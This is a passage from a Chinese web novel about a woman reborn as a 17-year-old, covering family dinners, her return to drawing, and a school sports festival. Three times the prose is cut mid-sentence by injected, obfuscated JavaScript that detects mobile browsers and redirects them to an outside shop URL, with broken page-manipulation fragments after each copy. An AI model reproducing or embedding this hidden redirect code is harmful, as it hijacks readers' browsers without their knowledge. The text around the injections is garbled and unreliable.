不过,即便知道商决的电话,祝明月也不敢草率给商决发消息。 线下商决的话已经够少了,线上聊天不需要面对面,看不清对方的表情,判断对方是否讨厌自己就成了难题。 祝明月收起手机,关好储物柜门。 钥匙咔嚓一声,沉重的铁门从里面被推开,祝山川穿着碎花围裙,一脸热络迎接她。 看样子他正在厨房炒菜。 “今天吃什么,”祝明月单手撑着鞋柜,弯腰一边换鞋一边问。 “凉拌菠菜,炒猪肝,木耳炒山药,当归枸杞炖鸡汤……”祝山川越说声音越小,十分没底气。 “你疯了?!” 祝明月不客气,瞪祝山川一眼。 自从知道祝明月体育课因低血糖晕过一回,祝山川就适当调整了家里的饮食结构,一点点往里面加补气血和补铁的食物。 早餐用焖烧杯装桂圆红枣茶,晚上夜宵加一道清炖牛腩粉丝面,竭力劝说她粉丝热量低,吃点不长肉。 祝明月理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093910|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝山川对她这个姐姐的爱,所以照单全收,朝他竖大拇指表达对他厨艺的认可,但这不代表祝山川可以得寸进尺。 凉拌菠菜?她讨厌那股涩涩的口感。 炒猪肝?她不喜欢腥味重的内脏。 木耳炒山药?黏糊糊的山药吃起来像鼻涕。 当归枸杞鸡汤?里面肯定还加了红枣,甜不甜,咸不咸的汤最难喝。 对上祝明月质问的眼神,祝山川眨巴两下漆黑的眼睛,若无其事从祝明月手里接过书包和午餐袋,“姐,我给你倒蜂蜜水,你喝点水,休息一会儿,等我炒完最后一道菜就能吃饭了。” 看着祝山川装无辜的样子,祝明月恨不得踹他一脚。 但她到底不是十七岁的祝明月,二十七岁的祝明月不情不愿喝掉蜂蜜水,洗手坐到餐桌前,小心翼翼尝一口祝山川精心制作的补铁餐食,眼眸一怔。 没有她想象的那么难吃。 猪肝切得薄,爆炒时加入蒜叶和多多的青红辣椒,只要不刻意去想是猪肝,胃里便不会涌上那股恶心的感觉。 其余几道菜也出乎祝明月意料,山药清洗过许多次,吃起来爽脆可口,菠菜里加了芝麻和花椒油,拌入炒得蓬松金黄的鸡蛋,光拌饭都能干掉一大碗。 祝明月庆幸自己收住了对祝山川菜品的贬低,满足地吃了两大碗饭。 三菜一汤,姐弟俩吃个精光,剩余一点鸡汤刚好够明早煮一顿香喷喷的鸡汤面条。 吃完饭,祝明月擦擦嘴,拿出手机,将这几天赚到的钱全部转给祝山川。 “国庆兼职赚的,你不要吝啬花,偶尔不想做饭我们就出去吃,现在不需要像以前那样节省了,钱不是省出来的,是赚出来的。” 祝山川愣愣盯着手机转账页面的那几个数字,心头无端涌上一抹酸楚。 国庆假期祝明月很少在家,问她干什么就说出去游泳,祝山川只当姐姐想锻炼身体,乐呵呵给祝明月做便当,让她带去游泳馆。 可他不知道祝明月是去兼职赚钱。 联想到最近祝明月的一连串表现,祝山川更难受了,他嘴唇颤了几下,艰难开口:“姐,你不要……” 也不需要。 他一直在赚钱,舅舅给的一万块现在还没开始花,他不想要祝明月那么辛苦。 眼见祝山川这个感性的人要把家里氛围转向抒情频道,祝明月头疼,及时打断:“不要什么,我要,你给我多多买肉,我最近食量大增,饿起来恨不得啃掉一头猪,多的钱可以给家里的锅碗瓢盆换一换,家里那个蒸锅的把手不是摔断了吗,买个新的,你再用就不担心被水蒸气烫到,我反正是弄不懂厨房的事情,只能交给你,祝山川,你能担当得起姐对你的信任吗?” 祝明月三言两语就转移了祝山川的注意,祝山川当即挺直胸膛,眼眸里流露出少年的淳朴稚气。 “我能!” 祝明月一瞬幻视小时候跟在她屁股后面的小兵祝山川,十分满意,站起身拍拍祝山川脑袋。 “好小子,姐去洗澡了,明早我不定闹钟,你起床记得喊我。” 祝山川目送祝明月走近房间,暖黄色的落地灯打开,往冷白的客厅里投射入一抹温馨的颜色。 祝山川坐在餐椅上,傻愣愣半晌,忽然笑了起来。 人只要活着,事情总会变好的。 他起身,收拾餐桌上的碗筷,朝祝明月房间方向喊:“姐,明天早上吃烧麦可以吗?” “给我装七个,我要分给米莱。” “好!” 15. 第 15 章 国庆一过,江城一中的作息表跟着调整。 早起时间延后二十分钟,放学时间提早半小时,午休时间缩短一小时。 尽管祝明月已经习惯了高中作息时间,不再抱怨早起,但看到新调整的作息表,还是没忍住雀跃。 她能多睡二十分钟了呢! 察觉到自己的兴奋,祝明月不免默默在心里抹一把泪。 看看孩子被PUA到什么程度了,仅仅是二十分钟的睡眠时间都让她高兴的像个傻子。 进入十月,就意味着备受一中学生欢迎的体艺节要来了。 体艺节即体育运动会和艺术节的结合,通常在秋季举行,举办时间三天,提前一星期预热报名,正式开办前两天确定好各项目比赛学生名单。 像篮球赛、绘画、唱歌。手工等稍微复杂点的项目则会在体艺节开始前筛选好进入初赛的学生,体艺节三天两晚的时间刚好够学生们角逐最终冠军队伍或个人。 祝明月还记得唱歌比赛的前三名会在元旦晚会上表演,穿着小礼服,拿着话筒,舞台聚光灯追踪时总给人一种在听演唱会的错觉。 不过体艺节和祝明月完全搭不上半点边,她不会唱歌,不会做手工,无才无艺,跑两步就喘,没有晕倒在半路上就是她为班级做出的最大贡献。 因此,祝明月毫不犹豫加入了后勤组的队伍。 米莱和她一样,不过她经不住体委的请求,额外报名了一个趣味运动项目。 体艺节项目报名表很快填好送到班主任刘丰松手上,拿到手,简单扫两眼,刘丰松托一个学生将祝明月叫到办公室。 去办公室路上,祝明月忍不住回想自己这段时间的表现,难不成是她上回小测没及格?难不成是她昨天布置的数学练习册今天还没做完?还是今早因生理期请假没下楼跳操? 不怪她,学生就是这样,不当课代表不当班干部,不违规不违纪,处在班级中游的学生一旦被老师叫去办公室就说明有大事发生。 即便祝明月是个成熟的二十七岁大人,仍旧止不住的心慌慌。 敲响办公室门,在老刘的“进来”声中,祝明月走到他工位旁。 “刘老师……” 刘丰松正在批改试卷,听到祝明月声音,推了下眼镜抬头看她,“来了啊,知道我叫你来为什么吗?” 祝明月摇头:“不知道。” 老刘从堆成山的资料里抽出一张纸,祝明月看清抬头文字,是体艺节项目报名名单。 难不成老刘嫌弃她没报名项目? 好吧,她承认加入后勤组是有偷懒的想法,但后勤组也不是吃干饭的呀,大本营课桌椅的搬运,学校分发的饮料和水果的搬运,写加油稿送加油稿,提醒运动员参赛,忙的都是琐碎的小事。 但这可比比赛更耗费心力。 不等祝明月继续深想,刘丰松指着艺术项目那栏,示意祝明月看:“我记得你会画画,怎么不参加绘画比赛试试,后勤组不比运动员轻松,需要顶着大太阳跑,你本身就有低血糖,参加一个艺术项目,再写写加油稿不好吗?” 画画。 祝明月脑海深处的记忆拼图再次亮起一块。 她会画画,也喜欢画画,能拿的动笔时就开始画,在结账单背面的空白处画,在墙上挂着的小黑板上画,还因为不懂事在爸妈打印好的重要文件上画过,屁股被结结实实打了两下。 上小学后就参加绘画兴趣班,技法就是那几年不断练习出来的,绘画手法稍微成熟点,祝明月开始报名参加各种比赛,大大小小不下五十场,中考靠着全市美术比赛金奖加了十分,堪堪擦线考入江城一中。 那时她还兴致勃勃告诉祝知勉她打算走艺考生路线去读美术大学,到时候成为闻名全国的艺术家,让祝知勉和齐岳住大别墅,过衣来伸手饭来张口的富贵生活。 父母自然是全方位肯定,齐岳还掐着她咯吱窝将她举起来,让她又一次体验了童年时双脚悬空的快乐。 小时候的愿望总是俗气又天真,让成年的祝明月回忆起来仿若吞了一口滚烫的炸糖丸。 甜蜜与痛苦并存。 祝明月声音低了些:“但我……但我好久没画画了,不知道能不能画好。” 画画和学习一样,是需要长久坚持的事情,祝明月不确定自己拿起画笔,绘出的线条是否还生动。 刘丰松将祝明月的犹豫看在眼底。 并非他想强迫祝明月参加活动,最近这段时间祝明月改变让刘丰松觉得他可以再多拉这孩子一把。 祝明月的成绩,上个普通一本不成问题,但祝明月成绩中庸,进了大学没老师监督大概率会往下滑,不如让祝明月走艺术道路,她有天分,有兴趣,继续在绘画这条道路深耕,祝明月定能有所成就。 既然有这个机会,为什么不多鼓励鼓励孩子呢。 刘丰松心里是这么想的,却没有用长篇大论来说服祝明月,将报名单放回文件中。 “那就拿起笔再试一试,不试试怎么知道好不好,报名表还有两天上交,老师等你的答复。” 祝明月眼睫轻颤。 她记得,上辈子也是这样的场景,她主动找刘丰松询问走艺术生路线可以考虑的方向,在淘汰掉废弃已久的画画技能后,退而求其次选择了播音主持。 对于播音,祝明月谈不上多喜欢,也谈不上讨厌。 她音色不错,咬字清晰,上辈子以江城市播音专业第一名的成绩考入江城传媒大学,入学证件照在社交媒体上小火了一把。 没几个网友质疑她专业能力,反倒困惑她为什么不选戏剧影视,说什么这张脸不进娱乐圈可惜了。 回到教室的祝明月仍在想这件事情。 要继续画画吗?要选择和上辈子不一样的路吗? 这个问题,在她重生的第一天就困扰着她,那时她一直觉得是选择题,是YesorNo的问题。 事实上,在她思考这个问题时,她就已经走了一条全然不同的路,在她犹豫要不要和商决交朋友时,她就已经踏上了全新的道路。 一条,完完全全由她主导的路。 重回十七岁耶,奇迹中的奇迹,她祝明月不是她人生的主导者,谁是! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093911|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然决定重拾画画这项技能,多余的考量和纠结就要抛到一边,首先要的做就是练习。 说白了就是把手感捡回来,线条画流畅了,人体和透视没问题,上色就简单得多。 至于怎么上色最和谐,祝明月说不清楚,全凭感觉。 要想练好线条,画速写是最合适的。 祝明月平铺好买来练速写的画纸,把目光移向同桌米莱。 学霸米莱写作业神情总是专注入神的,如果不是刻意叫她名字同她聊天,米莱几乎会屏蔽掉外界所有干扰因素。 这就给了祝明月充足的练习机会,认真观察米莱写作业的姿态和神情,几笔快速定好比例,画出体块定走向,过程中还要注意透视问题,透视不对,稿子基本就废了,最后补齐肢体和面部条线,加上明暗对比…… 一张不算多完美的速写稿出炉。 祝明月皱眉,相当不满意,这种水平,别说是走艺考的路,就是参加体艺节初筛都会被淘汰。 好在体艺节下周三开始,祝明月报完名还有时间练习。 她将画本合上,拿出没做完的数学练习册,练习册午饭前交,她还是一片空白呢。 唉,可恶的重生。 唉,可恶的作业。 祝明月第10086次这么想。 为了运动会开幕式,各年级各班开始紧锣密鼓的训练,午休和晚自习也被征用,用来训练走方阵的队形和口号。 晚自习自然不是三节全部征用,通常是把学生们仅有一节的自习课挪用,剥夺学生宝贵的写作业时间。 不过能在繁忙的高中课业里抽出一两节课的时间不去想作业,在漆黑、空荡,只亮着一两盏的操场上齐步走,大声喊着口号宣泄,也是学生时代独有的一种乐趣。 一周一节的体育课自然不能幸免,热身运动后,有比赛项目的学生在操场上做专项训练,其余学生则自由活动。 祝明月拿着画册和铅笔,盯上了篮球场里挥洒汗水的男生们。 准确来说,是篮球场上的商决。 继上回三班和五班一起上体育课后,今日两个班再次同上一节体育课。 除了参加比赛的人,两个班的女生几乎都坐在篮球场边,三三两两聊天,还有人悄咪咪从口袋里拿出手机对准篮球场上那道高挑的身影。 试问谁不希望自己喜欢的男神不仅仅是帅在外表呢。 祝明月没凑这个热闹,和米莱坐在树荫遮住的边边角角里,米莱要写作业,祝明月要画画,不受旁人干扰最好。 不是正式比赛,打篮球几人都没穿篮球服,普通的蓝白校服短袖配黑色长裤,跑动时,夏风刮起衣角和短发发梢,别有一番少年气息。 祝明月选择商决作为观察对象主要是为了动态速写的捕捉,除此之外,还有一点她的私心。 二十七岁的商决只在健身房锻炼,户外运动基本是和合作商打高尔夫,都是些适合商务谈判的高雅运动,篮球这样会大汗淋漓,气喘吁吁的运动祝明月从未看商决打过。 因此,祝明月很期待看到商决别样的一面。 16. 第 16 章 球场上的商决和平日的商决完全不一样。 这种不一样倒不是指表情的大幅度波动,而是商决身上属于十七岁少年的劲儿仿佛苏醒。 带球跑时商决眉头习惯性压低,唇角绷紧,投篮时胳膊抬高,隐隐能窥见短袖下紧劲的腰身,球进后商决的眉头会稍稍松开,这时他不会矜持装高冷,主动同队友击掌,再错身去他该去的位置,等待下次投篮机会。 祝明月一边观察一边勾勒,毕竟是速写,祝明月只抓了个神韵,线条狂放潦草,如果不刻意说,没人知道她是在画商决。 米莱写完作业,抻了个懒腰,不经意朝祝明月那边一瞥,好奇:“明月,你在画什么?” “商决。” 祝明月不觉得这有什么好隐瞒的,米莱嘴巴严实,她压根儿不担心她会告诉其他人。 再者,如果和商决成为朋友,两人来往次数增加,就更没必要隐瞒了。 米莱眨眨眼,差点以为自己听错。 再看祝明月,表情相当淡然,她收了铅笔,从速写本里翻出一张递给米莱。 “米莱,我上回不是说我在练速写,拿你当模特吗,现在你可以验收啦,如果你不喜欢速写这种偏写实的,我还有动漫版和Q版的,尽管挑剔我画作的缺点,我现在还处在绘画的‘康复’阶段,需要多听批评。” 但米莱这个善良的女孩怎么会批评自己的好朋友。 她给出了她能想到的最高水平的赞美:“明月,特别漂亮,特别好看,我能用来当我的□□头像吗?” 祝明月自然不会拒绝她,“可以,如果你喜欢,这些都送给你。” “谢谢你明月,我很喜欢!” 米莱一时没控住音量,吸引了附近一些女生的注视。 原本她们就好奇祝明月在干什么,有一人上前问祝明月,其余人便跟着过去瞧热闹。 看的是米莱手中那张速写。 线条简约干净,寥寥几笔,人物神韵跃然纸上,一支笔深深浅浅的涂抹便完成了明暗对比,尤其是画中人的五官,不知是不是祝明月自带的滤镜,分明和现实中的米莱是一样的五官,可画纸中的米莱神态闲适,眉目舒展自然,透着一股古典美人的韵味。 有女生看完,好奇问祝明月:“上色的话是不是更好看?” 祝明月摆摆手,随口说了个上辈子的热梗,“上色?那是另外的价格。” 本意是调侃,不料对方误会了,双眼炙热地盯着祝明月:“多少钱?不超过五十的话,祝明月你能给我画一幅吗,我想要这种稍微写实又特别有校园女主范的,把我往漂亮点画!” 球场上,正是中场休息时间。 商决背对观众席喝水,忽然听到身后女生们的惊呼声,老实说,他对这种声音已经免疫,尽管不太喜欢他人对自己外貌的追捧,但他没法违心地说外貌一点好处也没有。 至少在校外找兼职工作时,他这张脸能加分不少。 因此商决没有转身,安安静静将水杯中的水喝完,拧上盖子时身后呼喊声依旧没停。 这之中,有一道格外熟悉的声音。 “大家不要着急,慢慢来,按照交定金的先后顺序画哦!” 几乎是在听到这道声音的第一秒商决就反应过来是谁,拧瓶盖的手微微一顿,眼见周围队友全朝一个方向看去,没人注意他,商决终于不紧不慢转身。 观众席处,祝明月被女生们围了个里三层外三层,她手里拿着个巴掌大的本子,问清对面人的姓名和要求,低头认真在纸上做记录。 一旁,她的朋友在帮她收钱,每收一张还会仔细看看钱是真是假。 祝明月收钱的过程中还不忘安抚‘消费者们’,说得郑重其事:“大家放心,我会按照承诺的时间依次完成作品,在截稿日前将画交给你们,除了纸质版,还有电子版,大家可以用来当头像,如果有特殊要求请提前说,或者将你喜欢的风格的例图发给我参考,等我回头整理一些我的画作风格发到空间,你们可以看着挑!另外,女生们,如果你们忽然反悔,不想要了,定金只退一半哦!请认真想一想要不要找我下单!” 戴亦星就不是个缺钱的主,她知道祝明月会画画,祝明月初二江城绘画大赛的金奖作品她现在还记得。 可惜前面女生完全挡住了她,见状,戴亦星从钱包里拿出一整张红色钞票,毫不犹豫高举。 声音穿透围着祝明月的一群女生们:“加钱能不能加急!” 夏末阳光透过树叶罅隙肆无忌惮落下,将祝明月脸上真情实意的笑容展露无遗。 商决视力好,也是这时他才发现祝明月笑起来右侧脸颊有一道浅浅的酒窝,而先前几次碰面,商决从未见过。 意识到自己在想什么,商决拧开水杯,猛地仰头喝水,润入喉嗓的,只有聊胜于无的一缕。 炙热日光下,这一缕更叫他口干舌燥。 - 周三体艺节准时开幕,祝明月的绘画作品入选,没什么悬念的拿了一等奖。 不过一等奖奖项是按照年级来划分的,一个年级五个一等奖,祝明月自认为作品不好不坏,有极大提升空间。 开幕式方阵和领导们的致辞结束,各班回到大本营,五颜六色的帐篷,上面用几张纸拼凑出班级,帐篷下并排三张课桌,零零散散坐着后勤组几人。 毕竟是一年一次的体艺节,学生们当然不会坐在大本营里浪费时间,分到橘子和饼干便马不停蹄跑去看比赛。 祝明月和米莱老老实实坐在帐篷下加油稿,写完,祝明月翻起秩序册,查看商决报名的比赛项目。 商决报的不算多,集体的有篮球赛,个人的是跳高和男子三千米。 三千米,那完全是想出来折磨人的,不是所有人都是体育生,需要练三千米保持耐力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093912|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一中操场一圈四百米,三千米需要跑七圈半。 体育课上祝明月跑两圈八百米都费劲儿更别提三千米,简直地狱模式。 不过以祝明月对商决的了解,商决报名这个项目绝对不是被体委央求的结果,他总是自主做出选择,从不会被他人干扰。 商决既然报了三千米,证明他跑三千米不在话下。 祝明月记下三千米比赛时间,打算准时观赛。 毕竟是三千米,即便商决再怎么游刃有余也会累,她到时候就可以拿着矿泉水守在终点站,等商决冲向终点后迎上去,给疲惫的商决送上他最需要的水。 想象一下: 校园操场,红色跑道和蓝色天空交相辉映,递水的女生和接水的男生,矿泉水瓶成为两人感情宣泄和连接的桥梁,少男少女相视一笑。 这不是kismet,什么是!? 幻想归幻想,现实是比赛起点处围观群众如山如海,加油声震耳欲聋,一波又一波,祝明月挤都挤不进去,遗憾拿着手中的矿泉水退至一旁。 至于全程跟跑加油,祝明月只是稍微想想就放弃了。 她没那个力气。 在终点线附近找了个人稍微少点的地方,蹲在建筑物的有限阴影中,从校裤口袋里掏了颗糖塞进嘴里,开始背文言文。 下周收假就是月考,祝明月实在不想再上陈老师的语文默写‘狙击’名单。 商决一圈跑近,祝明月便凑上去,隔着警戒绳喊几句加油,商决跑远,退回阴凉处继续等待。 成为第一个给商决递水的人是不可能了,但至少她能和商决说一句恭喜,至于恭喜什么—— 第一就恭喜第一。 没拿到第一就没什么可夸的了吗? 当然不是,三千米,能坚持全程跑完就已经超级厉害了,祝明月恨自己不是裁判员,否则她一定要给每位跑三千米的同学们颁一个奖。 最后一圈,商决仍旧遥遥领先,剩余五十米,冲刺终点之际周围人多了起来,祝明月怕没位置,准备占一个最佳恭贺位。 刚往前迈了一步,马尾被人从背后轻轻拉了一下。 祝明月转身,不期然对上一双桀骜不驯的眼,眼窝深,眉弓骨高,酷飒痞冷的风格,偏偏是双看狗都深情的桃花眼,对方戴着深黑色棒球帽,耳垂上银色耳钉随着动作微晃,反射出一道细微的光芒,不容忽略。 有些小帅的男生,但,祝明月压根儿不认识他。 更何况,祝明月已经听到商决闯关终点线众人的欢呼喝彩声,再赶去祝福商决也没机会了。 祝明月因此蹙眉,把‘不爽’两个字写在脸上,“你谁,不知道拉人头发不礼貌吗?” “我谁?”对方略显诧异,确认祝明月眼眸中的陌生情绪并非假装,凌厉浓黑的眉毛微挑,唇角半弯,一字一句道。 “你男朋友,林跃。”